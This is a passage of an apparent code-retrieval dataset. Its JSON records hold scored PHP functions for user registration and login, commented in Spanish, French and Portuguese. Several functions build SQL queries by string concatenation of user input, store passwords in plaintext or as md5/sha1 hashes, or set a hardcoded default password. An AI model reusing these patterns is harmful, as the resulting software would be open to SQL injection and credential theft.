redireccionamos a la misma ventana new user para agregar otro usuario\n\tok_add_new_user_2();\n\t// colocar aqui la funcion\n\t}\n}", "title": "" }, { "docid": "dcf601a7c4d686c92c77fcba551a741c", "score": "0.6341066", "text": "public static function insertarUsuario($data)\n {\n //http://localhost/proyecto2-progra-web/server/index.php/usuario/1\n /* POST ->\n {\"method\":\"put\",\"metodo2\":\"insertarUsuario\",\"t_user\":\"2\",\"nombre\":\"Gerson Vargas\",\"telefono\":\"45632255\",\"email\":\"gerson@gmail.com\",\"provincia\":\"Alajuela\",\"ubicacion\":\"La Guaria\",\"password\":\"123\"}\n */\n try {\n $tipo_usuario = $data['t_user']; // 1= cliente, 2= interesado\n $nombre = $data['nombre'];\n $telefono = $data['telefono'];\n $email = $data['email'];\n $provincia = $data['provincia'];\n $ubicacion = $data['ubicacion'];\n $pass = $data['password'];\n $file_db = Usuario::obtenerconexion();\n $insert = '';\n $propiedad = '';\n\n\n $select = \"SELECT EMAIL FROM USUARIO where email = '\" . $email . \"'\";\n $stmt = $file_db->prepare($select);\n $stmt->execute();\n $usuario = $stmt->fetchObject();\n if($usuario){\n return Usuario::error(\"Este correo ya esta registrado. Intente con otro.\");\n }\n\n if ($tipo_usuario == '1') {\n $propiedad = $data['propiedad_requerida'];\n $insert = \"INSERT INTO CLIENTE \n VALUES (:nombre, :telefono, :email, :provincia, :ubicacion, :propiedad_requerida)\";\n } else if ($tipo_usuario == '2') {\n $insert = \"INSERT INTO INTERESADO \n VALUES (:nombre, :telefono, :email, :provincia, :ubicacion)\";\n }\n $stmt = $file_db->prepare($insert);\n $stmt->bindParam(':nombre', $nombre);\n $stmt->bindParam(':telefono', $telefono);\n $stmt->bindParam(':email', $email);\n $stmt->bindParam(':provincia', $provincia);\n $stmt->bindParam(':ubicacion', $ubicacion);\n\n if ($tipo_usuario == '1') {\n $stmt->bindParam(':propiedad_requerida', $propiedad);\n }\n $stmt->execute();\n\n $fecha = date(\"Y-m-d\");\n $insert2 = \"INSERT INTO USUARIO \n VALUES (:USERNAME, :EMAIL, :PASSWORD, :LAST_MODIFIED, :TIPO_USUARIO)\";\n $stmt2 = $file_db->prepare($insert2);\n $stmt2->bindParam(':USERNAME', $nombre);\n $stmt2->bindParam(':EMAIL', $email);\n $stmt2->bindParam(':LAST_MODIFIED', $fecha);\n $stmt2->bindParam(':TIPO_USUARIO', $tipo_usuario);\n $stmt2->bindParam(':PASSWORD', $pass);\n $stmt2->execute();\n return Usuario::success('Se ha insertado el usuario');\n } catch (PDOException $e) {\n return Usuario::error($e->getMessage());\n }\n }", "title": "" }, { "docid": "d889567705d5d5f5755185f453e89da2", "score": "0.63391495", "text": "function registra_usuario() {\n\n\t\t// COMPROBACIONES DE SEGURIDAD\n\t\tarray_walk($_REQUEST, 'limpiarCadena');\t\n\n\t\t$nombre = htmlspecialchars(trim(strip_tags($_REQUEST[\"nombre\"])));\n\t\t$apellido1 = htmlspecialchars(trim(strip_tags($_REQUEST[\"ape1\"])));\n\t\t$apellido2 = htmlspecialchars(trim(strip_tags($_REQUEST[\"ape2\"])));\n\n\t\t$edad = htmlspecialchars(trim(strip_tags($_REQUEST[\"edad\"])));\n\t\t$email = htmlspecialchars(trim(strip_tags($_REQUEST[\"email\"])));\n\n\n\t\t$password = htmlspecialchars(trim(strip_tags($_REQUEST[\"pass\"])));\n\t\t// HASH\n\t\t$password_hased = password_hash($password, PASSWORD_DEFAULT);\n\n\n\t\tif(empty($nombre) || empty($edad) || empty($email) || empty($password) || empty($apellido1) || empty($apellido2) || !preg_match('/^[^@\\s]+@([a-z0-9]+\\.)+[a-z]{2,}$/i', $email) \t|| !is_numeric($edad) ||\n\t \t \t\t strlen($password) < 6 ){\n\n\t\t\techo \"<p> Se ha producido un error al enviar los datos del formulario. ¡Inténtalo de nuevo!</p>\";\n\n\t\t} else {\n\n\t\t\t// Comprobar si el email ya está registrado en la BD.\n\t\t\t$resultado = existe_email($email);\n\t\t\tif($resultado->num_rows != 0)\n\t\t\t\techo \"<p>El email introducido ya está registrado. Prueba con otro.</p>\";\n\t\t\telse {\n\t\t\t\t// Registrar el nuevo usuario en la BD.\n\t\t\t\tannadir_usuario($nombre, $apellido1, $apellido2, $email, $password_hased, $edad);\n\t\t\t\t// Iniciamos sesion\n\t\t\t\tsession_start();\n\t\t\t\t// Buscamos el usuario otra vez para obtener el id generado automaticamente\n\t\t\t\t$con = existe_email($email);\n\n\t\t\t\t$nFilas = n_filas($con);\n\n\t\t\t\tif($nFilas == 1){\n\t\t\t\t\t\n\t\t\t\t\t$filaUsuario = $con->fetch_object();\n\t\t\t\t\t$_SESSION['usuario_actual'] = $filaUsuario->id;\n\t\t\t\t\t$_SESSION['name'] = $filaUsuario->nombre;\n\t\t\t\t\t$_SESSION['rol'] = \"ESTUDIANTE\"; //Por defecto al registrarse el rol es estudiante. El administrador podrá cambiar el rol. No hace falta realizar consulta.\n\t\t\t\t\t\n\t\t\t\t\theader('Location: index.php');\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "0062df9a851e3d1c18d1250b5473b8a4", "score": "0.6336276", "text": "function Register(){\n\n\t\t$sql = \"select * from USUARIOS where login = '\".$this->login.\"'\";\n\n\t\t$result = $this->mysqli->query($sql);\n\t\tif ($result->num_rows == 1){ // existe el usuario\n\t\t\t\treturn '00012';\n\t\t\t}\n\t\telse{\n\t\t\t\t$sql = \"INSERT INTO USUARIOS (\n\t\t\t\t\tlogin,\n\t\t\t\t\tpassword,\n\t\t\t\t\tdni,\n\t\t\t\t\tnombre,\n\t\t\t\t\tapellidos,\n\t\t\t\t\ttelefono,\n\t\t\t\t\temail,\n\t\t\t\t\tFechaNacimiento,\n\t\t\t\t\tsexo,\n\t\t\t\t\talergias,\n\t\t\t\t\tcodigo_postal,\n\t\t\t\t\tdireccion,\n\t\t\t\t\tactivado,\n\t\t\t\t\ttipo_usuario) \n\t\t\t\t\t\tVALUES (\n\t\t\t\t\t\t\t'\".$this->login.\"',\n\t\t\t\t\t\t\t'\".$this->password.\"',\n\t\t\t\t\t\t\t'\".$this->dni.\"',\n\t\t\t\t\t\t\t'\".$this->nombre.\"',\n\t\t\t\t\t\t\t'\".$this->apellidos.\"',\n\t\t\t\t\t\t\t'\".$this->tlf.\"',\n\t\t\t\t\t\t\t'\".$this->email.\"',\n\t\t\t\t\t\t\t'\".$this->bday.\"',\n\t\t\t\t\t\t\t'\".$this->sexo.\"',\n\t\t\t\t\t\t\t'\".$this->alergias.\"',\n\t\t\t\t\t\t\t'\".$this->cp.\"',\n\t\t\t\t\t\t\t'\".$this->direccion.\"',\n\t\t\t\t\t\t\t'\".$this->activado.\"',\n\t\t\t\t\t\t\t'\".$this->tipo_usuario.\"'\n\t\t\t\t\t\t\t)\";\n\n\t\t\t\tinclude '../Model/BD_logger.php';//se incluye el archivo con el log\n\t\t\t\tif( !isset($_SESSION['login'])) $_SESSION['login'] = $this->login;\n\t\t\t\tif (!writeAndLog($sql)) {//llama al metodo para loggear la consulta y si la salida es false devuelve Error de insercion\n\t\t\t\t\treturn '00013';\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\treturn '00014'; //operacion de insertado correcta\n\t\t\t\t}\n\t\t}\n\n\t}", "title": "" }, { "docid": "4ddf71725893f1f5828602469b2afa0b", "score": "0.63360894", "text": "function checkLoginUser(){\n\t\t\n\t\t$oUsu=new Usuario($this->oDBM);\n\t\t$idUser=$oUsu->checkLoginUser($this->GET['username'],$this->GET['pass']);\n\t\t\n\t\tif($idUser){\n\t\t\t\n\t\t\t//CARGA DE PERMISOS\n\t\t\t$arrayPermisos=$oUsu->getPermisos($idUser);\n\t\t\t$oAut=new Autorizacion();\n\t\t\t$oAut->loadAutorizacionesLocal($arrayPermisos);\n\t\t\t\n\t\t\t\n\t\t\t$this->MSG='Login Correcto';\n\t\t\t$dataUser=$oUsu->getRow($idUser);\n\t\t\t$dataUser['token']=$oAut->getToken();\n\t\t\t\n\t\t}\n\t\telse{\n\t\t\t$this->ERROR=true;\n\t\t\t$this->ERRORS[]='Login Incorrecto';\n\t\t\t$dataUser=array();\n\t\t}\n\t\t\n\t\t$this->listaToXML($dataUser);\n\t\treturn;\n\t}", "title": "" }, { "docid": "0c01ddde16b8e631e49699479c290f4e", "score": "0.63342154", "text": "public function ingresoUsuarios(){\n\n if(isset($_POST[\"usuario\"]) ){\n\n $datosController = array(\"usuario\" => $_POST['usuario'],\n \"password\" => $_POST['pass']);\n \n $respuesta = Datos::ingresoDeUsuarios($datosController, \"usuarios\");\n\n \n if( $respuesta ){\n\n session_start();\n\n $_SESSION['iniciada'] = true;\n\n $_SESSION['id_usuario'] = $respuesta['id'];\n\n //echo $respuesta['id'];\n header(\"location:index.php?action=usuarios\");\n }else{\n\n header(\"location:index.php?action=registro\");\n \n }\n }\n }", "title": "" }, { "docid": "e53ee39bf6aac5505f7c9196fe37fa08", "score": "0.6323124", "text": "function userRegister(){\n session_start();\n if(isset($_SESSION[\"EMAIL\"])){\n header(\"Location: \" . BASE_URL . 'Home');\n }\n if(!isset($_SESSION[\"EMAIL\"])){\n $user = $_POST[\"input_user\"];\n $password = $_POST[\"input_password\"];\n $admin = 0;\n $usersDB = $this->model->getUser($user);\n \n if(!$usersDB){\n\n if(!empty($password)){\n $contraseña = password_hash($password, PASSWORD_DEFAULT);\n $this->model->saveUser($user, $contraseña, $admin);\n session_start();\n $userDB = $this->model->getUser($user);\n foreach($userDB as $userData){\n $idDB = $userData->id;\n $contraseñaDB = $userData->contraseña;\n $emailDB = $userData->email;\n $adminDB = $userData->admin;\n }\n session_start();\n $_SESSION[\"EMAIL\"] = $emailDB;\n $_SESSION[\"ADMIN\"] = $adminDB;\n $_SESSION[\"ID\"] = $idDB;\n \n header(\"Location: \" . BASE_URL . 'Home');\n\n }else{\n $msg = \"Ingrese una contraseña\";\n $this->view->showRegister($msg);\n }\n }else{\n $msg = \"Ya existe un usuario con este nombre\";\n $this->view->showRegister($msg);\n }\n }\n }", "title": "" }, { "docid": "b50dedb02c2bb705b31a0d15be4a669a", "score": "0.63201535", "text": "public function register(){\r\n $result = [\r\n 'id_usuario' => 0,\r\n 'success' => false,\r\n 'error' => ''\r\n ];\r\n //\r\n $sql = \"INSERT INTO \" . self::TABLE_NAME . \" (nombre, apellido, email, telefono, direccion, username, password, rol) VALUES (:nombre, :apellido, :email, :telefono, :direccion, :username, :password, :rol) \";\r\n $stmt = $this->db->prepare($sql);\r\n\r\n $stmt->bindValue(\":nombre\", $this->getNombre());//Evitamos la inyección sql\r\n $stmt->bindValue(\":apellido\", $this->getApellido());\r\n $stmt->bindValue(\":email\", $this->getEmail());\r\n $stmt->bindValue(\":telefono\", $this->getTelefono());\r\n $stmt->bindValue(\":direccion\", $this->getDireccion());\r\n $stmt->bindValue(\":username\", $this->getUserName());\r\n $stmt->bindValue(\":password\", password_hash($this->getUserPassword(), PASSWORD_BCRYPT, ['cost' => 4]));\r\n $stmt->bindValue(\":rol\", $this->getRol());\r\n \r\n try {\r\n $stmt->execute();\r\n $last_id = $this->db->lastInsertId();//Obtenemos el id del ultimo cliente agregado\r\n $result['id_usuario'] = $last_id;//Pasamos ese id a el arreglo result\r\n $result['success'] = true;\r\n } catch (\\Throwable $th) {\r\n $result['error'] = \"$th\";\r\n }\r\n return json_encode($result);//Retornamos los datos en un arreglo json\r\n }", "title": "" }, { "docid": "094f4d140bf29b2667302019d1cf9fe5", "score": "0.6318515", "text": "public function inserirBD(){\n //inserir\n $this->setSenha( md5($this->senha) );//criptografar a senha\n if($this->id == null){\n try{\n \t$inserir = $this->pdo->prepare(\"INSERT INTO usuario(nome,email,senha) VALUES(:nome,:email,:senha)\");\n \t$inserir->bindValue(\":nome\", $this->nome);//Inserir com segurança\n \t$inserir->bindValue(\":email\", $this->email);\n $inserir->bindValue(\":senha\", $this->senha); \n \n $validar = $this->pdo->prepare(\"SELECT * FROM usuario WHERE senha = ?\");//prepara para procurar a senha\n $validar->execute(array($this->senha));//procura a senha\n\t\t\t\tif(!$validar)\n\t\t\t\t\tdie(\"Algo deu errado\");\n \tif($validar->rowCount() == 0){ //se não tiver nenhuma senha\n \t $inserir->execute();\n\t\t\t\t\tif(!$inserir)//se deu algo errado ao inserir\n\t\t\t\t\t\tdie(\"Algo deu errado\");\n\t\t\t\t\telse\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t\n\t\t\t\t }else//se ja tiver essa senha\n\t\t\t\t\t\treturn \"Já existe\";\t \n \t\t\t}catch(Exception $e){\n \t\techo e.getMessage(). \"<br>\";\n \t\t}\n }\n //atualizar\n else{\n $sql = \"UPDATE usuario SET nome=:nome, email=:email,senha=:senha WHERE id =:id\";\n\t\t\t$sql = $this->pdo->prepare($sql);\n\t\t\t$sql->bindValue(\":nome\",$this->nome);\n\t\t\t$sql->bindValue(\":email\", $this->email);\n\t\t\t$sql->bindValue(\":senha\", $this->senha);\n\t\t\t$sql->bindValue(\":id\", $this->id);\n $sql->execute();\n\t\t\tif(!$sql)\n\t\t\t\tdie(\"Algo deu errado\");\n\t\t\telse\n\t\t\t\treturn true;\n }\n }", "title": "" }, { "docid": "d20c3dce3dcea4b9de3d2da8473eb6af", "score": "0.6316268", "text": "public function cambia_datos_usuario() {\n\t\t$usuario = $this -> ssouva -> login();\n\t\t$datos[\"usuario\"] = $usuario;\n\n\t\t// Cosas de sesiones y si es admin o no\n\t\tif ($this -> admin_model -> es_admin($usuario)>0) {\n\t\t\t$idu = $this -> input -> post(\"idu\");\n\t\t\t$nombre = $this -> input -> post(\"nombre\");\n\t\t\t$apellidos = $this -> input -> post(\"apellidos\");\n\t\t\t$login = $this -> input -> post(\"login\");\n\t\t\t$password = $this -> input -> post(\"password\");\n\t\t\t$direccion = $this -> input -> post(\"direccion\");\n\t\t\t$tlf = $this -> input -> post(\"tlf\");\n\t\t\t$email = $this -> input -> post(\"email\");\n\t\t\t$verificado = $this -> input -> post(\"verificado\");\n\n\t\t\t$this -> usuarios_model -> updatea_user($idu, $nombre, $apellidos, $login, $password, $direccion, $tlf, $email, $verificado);\n\t\t\t// Y recargamos los datos\n\t\t\t$datos[\"denuncias\"] = $this -> comentarios_model -> hay_denuncias();\n\t\t\t$datos[\"usuarios_no\"] = $this -> usuarios_model -> usuarios_no_activados();\n\t\t\t$datos[\"pisos_no\"] = $this -> pisos_model -> mostar_pisos_no_validados();\n\t\t\t$this -> load -> view(\"doc/index\", $datos);\n\t\t}\n\t}", "title": "" }, { "docid": "331d645e2fadf4d5341a7b573a87fc22", "score": "0.6315208", "text": "public function logon(){\n\t\t$this->banco = new Banco;\n\t\t//$this->banco->conectar();\n\t}", "title": "" }, { "docid": "3d5a01f51ca6fb137a8d6938ba423c83", "score": "0.63126475", "text": "public function saveUser() {\n if (isset($_POST['name'])) {\n //echo \"<pre>\";print_r($_POST);exit;\n $user = $this->checkUser(trim($_POST['username']));\n $this->checkEmail(trim($_POST['email']));\n\n if (count($user) != 0) {\n $_SESSION[\"actionResult\"] = array(\"error\" => \"User name is already exists\");\n if ($_POST['edit'] == 1) {\n if (APP::$curId == \"\") {\n UTIL::redirect(URI::getURL(APP::$moduleName, \"user_list\"));\n } else {\n UTIL::redirect(URI::getURL(APP::$moduleName, \"user_edit\", APP::$curId));\n }\n exit;\n } else {\n UTIL::redirect(URI::getURL(APP::$moduleName, \"user_list\"));\n exit;\n }\n }\n\n if (isset($_POST['active']))\n $varStatus = '1';\n else\n $varStatus = '0';\n\n\n $arrFields = array(\"name\" => $_POST['name'], \"email\" => $_POST['email'], \"username\" => $_POST['username'], \"phone\" => Stringd::removeWhitespace($_POST['phone']), \"mobile\" => Stringd::removeWhitespace($_POST['mobile']), \"fax\" => Stringd::removeWhitespace($_POST['fax']), \"address\" => $_POST['address'], \"suburb\" => $_POST['suburb'], \"state\" => $_POST['state'], \"country\" => (int) $_POST['country'], \"postcode\" => $_POST['postcode'], \"active\" => $varStatus,\"station_id\"=>$_REQUEST['station'],\"group_id\"=>$_REQUEST['group'], \"roll_id\" => (int) $_POST['role']);\n\n //print_r($arrFields); exit;\n\n if (isset($_POST['password']) && trim($_POST['password']) != \"\")\n $arrFields['password'] = Core::encryptPass($_POST['password']);\n\n // insert new record\n if (isset($_SESSION[CFG::$session_key])) {\n $userID = $_SESSION[CFG::$session_key]['id'];\n }\n if (APP::$curId == \"\") {\n // store created and updated date\n $arrFields['created_date'] = date(\"Y-m-d H:i:s\");\n $arrFields['updated_date'] = date(\"Y-m-d H:i:s\");\n $arrFields['created_by'] = $userID;\n\n // insert record\n DB::insert(CFG::$tblPrefix . \"user\", Stringd::processString($arrFields));\n\n // get current id\n APP::$curId = DB::insertId();\n } else {\n // store updated date\n $arrFields['updated_date'] = date(\"Y-m-d H:i:s\");\n $arrFields['updated_by'] = $userID;\n // update record\n DB::update(CFG::$tblPrefix . \"user\", Stringd::processString($arrFields), \" id=%d \", APP::$curId);\n }\n if (isset($_POST['send_email']) == true) {\n $this->mailSendUser(APP::$curId);\n }\n // pass action result\n $_SESSION[\"actionResult\"] = array(\"success\" => \"User has been saved successfully\");\n\n if ($_POST['edit'] == 1)\n UTIL::redirect(URI::getURL(APP::$moduleName, \"user_edit\", APP::$curId));\n else\n UTIL::redirect(URI::getURL(APP::$moduleName, \"user_list\"));\n }\n }", "title": "" }, { "docid": "eb6c5694a2c881c730c72aaaed440f78", "score": "0.63119423", "text": "function registrar() {\r\n\t\t\t\t\t\trequire \"Ej9b_config.php\";\r\n\t\t\t\t\t\t$conexion = mysqli_connect($db_server, $db_user, $db_pass, $db_name) or die(\"Error: \". mysqli_error($conexion));\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tglobal $usuario, $hash1;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$consulta1 = \"SELECT * FROM usuarios2 WHERE nombre='$usuario'\";\r\n\t\t\t\t\t\t$consulta2 =\"INSERT INTO usuarios2 (nombre, contrasena) VALUES ('$usuario','$hash1')\";\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$resultado1 = mysqli_query($conexion, $consulta1);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$linea = mysqli_num_rows($resultado1);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tif ($linea == 0) {\r\n\t\t\t\t\t\t\t$resultado2 = mysqli_query($conexion, $consulta2);\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\tmysqli_close($conexion);\r\n\t\t\t\t\t\t\tsession_destroy();\r\n\t\t\t\t\t\t\theader(\"Location:../Ej9b_index.php?registro=si&error=errornombre\"); \r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tmysqli_close($conexion);\r\n\r\n\t\t\t}", "title": "" }, { "docid": "5e92882b169f8ba8715d0879bf3be3ca", "score": "0.6306877", "text": "function altaUsuario(usuarioDb $usuario){\n\t\t\t$consulta = \"INSERT INTO usuarios (cedula, nombre, apellido, cargo, contrasena)\n\t\t\t\t\t\t\t\t\tVALUES ('$usuario->cedula', '$usuario->nombre', '$usuario->apellido', '$usuario->cargo', md5('abc123'))\";\n\t\t\t$resultado = parent::ejecutarConsulta($consulta);\n\t\t\treturn $resultado;\n\t\t}", "title": "" }, { "docid": "8899ff86b4db3f26aad9ed68ea4df1c1", "score": "0.6299298", "text": "public function createUser(){\n\t\t\t$errors_number = 0;\n $valide_password = 1;\n\t\t\tif(!empty($_POST['addAddmins'])){\n\t\t\t\tif(empty($_POST[\"name\"])){\n\t\t\t\t\t$_SESSION[\"error_name\"]=\"Votre nom s'il vous plaît.\";\n\t\t\t\t\t$errors_number += 1;\n\t\t\t\t}\n\t\t\t\tif(empty($_POST[\"phone\"]) || !verif_phone($_POST[\"phone\"])){\n\t\t\t\t\t$_SESSION[\"error_phone\"]=\"Donnez un numéro de téléphone valide.\";\n\t\t\t\t\t$errors_number += 1;\n\t\t\t\t}\n if(empty($_POST[\"email\"]) || !validate_email($_POST[\"email\"])){\n\t\t\t\t\t$_SESSION[\"error_email\"] = \"Donner une addresse e-mail valide.\";\n\t\t\t\t\t$errors_number += 1;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif($errors_number == 0){\n $req = $this->_db->prepare('SELECT id FROM users WHERE email = ?');\n $req->execute(array($_POST[\"email\"]));\n $exist = $req->rowCount();//si cette variable est egale 0 on inscrit le visteur\n if($exist == 0){\n $password = generate_password();\n $result = send_mail(\n $_POST['email'],$_POST['name'],$password\n );\n if($result){\n $req = $this->_db->prepare(\n 'INSERT INTO users(name,phone,email,password,isAdmin,createdAt) \n VALUES(?,?,?,?,2,NOW())'\n );\n $req->execute(array(\n $_POST['name'],$_POST['phone'],$_POST['email'],sha1($password))\n );\n $req->closeCursor();\n \n $_SESSION['success'] = \"L'administrateur \".$_POST['name'].\" a été ajouté avec succès.\";\n \n unset($_POST);\n $req->closeCursor();\n }\n }else{\n $_SESSION[\"error_email\"] = \"Un compte existe déja avec cette addesse e-email.\";\n }\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "d4c184fb3d79fbfe2d6b7c273156c239", "score": "0.6299133", "text": "function enregistrerUtilisateur($nom, $prenom, $email, $pseudo, $password){\n //Connexion à la base de données\n $connexion = connexionBD();\n\n //Préparation de la requête\n $requete = $connexion->prepare(\"INSERT INTO users VALUES (null, :nom, :prenom, :email, :pseudo, :password, false)\");\n $requete -> bindParam(\":nom\", $nom);\n $requete -> bindParam(\":prenom\", $prenom);\n $requete -> bindParam(\":email\", $email);\n $requete -> bindParam(\":pseudo\", $pseudo);\n $requete -> bindParam(\":password\", $password);\n\n //Envoie de la requête\n if($requete->execute()){//La requête est un succès\n echo '<h3 class=\"message\">L\\'utilisateur a été enregistré avec succès.</h3>';\n header(\"refresh:3;url=index.php\");\n exit;\n }\n else{//La requête échoue\n echo '<h3 class=\"error-message\">ERREUR - ' . $requete->errorInfo()[2] . '</h3>';\n header(\"refresh:5;url=index.php\");\n exit;\n }\n}", "title": "" }, { "docid": "be0d28d1992aa7333dd2e242a15fdae3", "score": "0.6295402", "text": "function inserta_datos_usuario(){\n\t\tmysql_connect(\"localhost\",\"root\",\"\");\t\t\n\t\t// INSERTAR UN MOZO\n\t\t$this->nombre = $_POST[\"nombre\"];\n\t\t$this->apellido = $_POST[\"apellido\"];\n $this->email = $_POST['email'];\t\t\n\t\t$this->nivel = $_POST[\"nivel\"];\n\t\t$this->usuario = $_POST[\"usuario\"];\n\t\t$this->pass = md5($_POST[\"pass\"]);\n\t\t$this->legajo = $_POST['legajo'];\n\t\n\t\t$consulta = \"INSERT INTO usuario VALUES ('','$this->nombre','$this->apellido','$this->email','$this->nivel','$this->legajo','$this->usuario','$this->pass')\";\n\t\tmysql_select_db(\"check\");\n\t\tmysql_query($consulta);\n\t\theader(\"location: principal.php?id=usuarios_principal&accion=1&edita=1\");//Envia la confirmacion de guradado a administracioncliente.php\t\t\t\t\n\t}", "title": "" }, { "docid": "8913651dd3e8b273086b2eacc987dbe5", "score": "0.62916404", "text": "function RegistrarUsuario(){\n $user = $_POST[\"new_user\"];\n $pass = $_POST[\"new_pass\"];\n $admin = 0;\n if(!empty($_POST[\"new_user\"]) && !empty($_POST[\"new_pass\"])){\n $userFromDB = $this->model->GetUser($user);\n if(!$userFromDB){\n $password_hash = password_hash($pass, PASSWORD_DEFAULT);\n $this->model->RegistrarUser($user,$password_hash, $admin);\n session_start();\n $userFromDB = $this->model->GetUser($user);\n $_SESSION['EMAIL'] = $user;\n $_SESSION[\"ID\"] = $userFromDB->id;\n $_SESSION[\"ADMIN\"] = $admin;\n header(\"Location: \".BASE_URL.\"productos\"); \n }else{\n $user = $_POST['new_user'];\n $this->view->ShowErrorRegistro('El usuario ya se encuentra registrado');\n } //cierra el else\n }//cierra el primer if\n }", "title": "" }, { "docid": "bbb2dafef6d5c769a369e830de638e37", "score": "0.6290264", "text": "public function create_user(){\n\t\t$name_bdd = $this->name_bdd_;\n\t\t$name_table_user = $this->name_table_user_;\n\t\ttry {\n\t\t\t$bdh = parent::connection_bdd();\n\t\t\t$stmp = $bdh->prepare(\"INSERT INTO $name_bdd.$name_table_user\n\t\t\t\t\t\t(NoUtilisateur, nom, prenom, login, password, mail, token) VALUES (NULL, :lastName, :firstName, :pseudo, :password, :mail, :token )\");\n\n\t\t\t$stmp->bindParam(':lastName', $lastName);\n\t\t\t$stmp->bindParam(':firstName', $firstName);\n\t\t\t$stmp->bindParam(':pseudo', $pseudo);\n\t\t\t$stmp->bindParam(':password', $password);\n\t\t\t$stmp->bindParam(':mail', $mail);\n\t\t\t$stmp->bindParam(':token', $token);\n\t\t\t\n\t\t\t$lastName = $this->user_lastName_;\n\t\t\t$firstName = $this->user_firstName_;\n\t\t\t$pseudo = $this->user_pseudo_;\n\t\t\t$password = $this->user_password_;\n\t\t\t$mail = $this->user_email_;\n\t\t\t$token = $this->token_;\n\t\t\t\n\t\t\t$res = $stmp->execute();\n\t\t\n\t\t\tparent::close_connection_bdd($bdh);\n\t\t\treturn $res;\n\t\t} catch( PDOExecption $e){\n\t\t\texit('<b>Catched exception( cf. class User) at line '. $e->getLine() .' :</b> '. $e->getMessage());\n\t\t}\n\t}", "title": "" }, { "docid": "dbb0fe7cca903630152f7b47712367a4", "score": "0.6284638", "text": "public function validar($usuario,$password) {\n $query = \"select identificacion from usuarios where identificacion = $usuario \";\n $resultado = $this->db->query($query);\n $num = $resultado->num_rows();\n if($num == 0){\n echo \"Usuario no registrado\";\n }\n if($num == 1){\n $query = \"select * from usuarios where identificacion = $usuario\";\n $consulta = $this->db->query($query);\n foreach($consulta->result_array() as $d)\n \n {\n $passwordbase = $d['password'];\n $nombres = $d['nombres'];\n $identificacion = $d['identificacion'];\n $apellidos = $d['apellidos'];\n $estado = $d['estado'];\n }\n if($estado == 1){\n echo \"Usuario inactivo, Consulte con sistema\";\n return false;\n }\n \n \n \n if($passwordbase == md5($password)){\n session_start();\n $_SESSION['login_user']=$nombres;\n $_SESSION['identificacion']=$identificacion;\n $_SESSION['apellidos']=$apellidos;\n echo \"1\";\n \n \n \n }else{\n echo \"Contraseña invalida\";\n }\n \n }\n }", "title": "" }, { "docid": "4b52f0867487ceb637cc73f0e4233986", "score": "0.6284524", "text": "public function bindUser()\n {\n if($_POST)\n {\n $this->dao->update(TABLE_USER)->set('ranzhi')->eq('')->where('ranzhi')->eq($this->post->ranzhiAccount)->exec();\n $this->dao->update(TABLE_USER)->set('ranzhi')->eq($this->post->ranzhiAccount)->where('account')->eq($this->post->zentaoAccount)->exec();\n if(dao::isError()) die(dao::getError());\n die('success');\n }\n }", "title": "" }, { "docid": "62e2de272773a7df0ed6dc7fa2965d17", "score": "0.6283379", "text": "public function register(){\n $email = $_POST['email'];\n $passwd = $_POST['passwd'];\n //conexión a la bd\n $registerDao = new registerDao();\n $registerDao->saveUser($email, $passwd);\n\n // validamos\n //echo \"<h1>Proceso de registro $email $passwd</h1>\";\n\n //redirección a una página\n parent::returnView(''); // a la home\n }", "title": "" }, { "docid": "b1672ee1a8646a121a808f8b58a9023f", "score": "0.6282891", "text": "public function nuevoUsuario($data)\n\t{\n\t\t$usuario = new Usuario();\n\t\t\n\t\t/*Codigos de Roles disponibles en la app*/\n\t\t# usuario=1\n\t\t# administrador=2\n\t\t$usuario->rol_id=1;\n\n\t\t/*Codigos de companias de celulares disponibles en la app*/\n\t\t#ninguna=1\n\t\t#movistar=2\n\t\t#claro=3\n\t\t#cnt=4\n\t\t$usuario->compania_id=1;\n\n\t\t/*Codigos de los estados que puede tener una cuenta en la app*/\n\t\t#activado=1\n\t\t#desactivado=2\n\t\t#bloqueado=3\n\t\t#eliminado=4\n\t\t/*Como el registro o login es con social login, es una cuenta real y no necesitamos\n\t\tlink de verificación se establece directamente su estado como activo*/\n\t\t$usuario->estado_id=1;\n\n\t\t/*En caso de que el nombre de usuario tenga caracteres especiales(como ñ, tildes)\n\t\tel slug nos permitirá tener un nombre corto y limpio para ulrs amigables*/\n\t\tif (array_key_exists('nombres', $data))\n\t\t{\n\t\t\t$usuario->slug = \\Str::slug($data['nombres']);\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$nombreTemporal = 'Usuario';\n\n\t\t\t$usuario->nombres = $nombreTemporal;\n\n\t\t\t$usuario->slug = \\Str::slug($nombreTemporal);\n\t\t}\n\n\t\t/*El nombre de usuario solo puede cambiarse una vez en la app,\n\t\testo para evitar cuentas con nombres falsos y con constantes cambios de nombre (estafas)*/\n\t\t# cambio= false (nunca ha cambiado de nombre el usuario)\n\t\t# cambio=true (su nombre de usuario ha sido cambiado alguna vez)\n\t\t$usuario->cambio=false;\n\n\t\t/*La bandera social nos indica si su registro fue con una red social*/\n\t\t$usuario->bandera_social=true;\n\t\t\n\t\t$usuario->nav_avanzada=false;\n\t\t/*retornar el usuario creado*/\n\t\treturn $usuario;\n\t}", "title": "" }, { "docid": "90a828c16e433bee8b8273cbf4a94436", "score": "0.62826633", "text": "public function store(){\n // comprueba que llegue el formulario con los datos\n if(empty($_POST['guardar']))\n throw new Exception('No se recibieron los datos');\n // comprueba si es admin, supervisor o usuario registrado\n if(!Login::get()){\n throw new Exception('Debes ser admin o usuario registrado');\n }\n \n $usuario=Login::get(); //recupera el usuario actual\n \n $tipo = new Tipo(); //nueva tipo de mascota, la info viene por POST\n $tipo->nombre=DB::escape($_POST['nombre']);\n $tipo->descripcion=DB::escape($_POST['descripcion']);\n \n if(!$tipo->guardar()) //guardar en la BDD\n throw new Exception(\"No se pudo guardar $tipo->nombre\");\n \n //muestra la vista de éxito\n $mensaje=\"Guardado del tipo de mascota $tipo->nombre correcto.\";\n \n 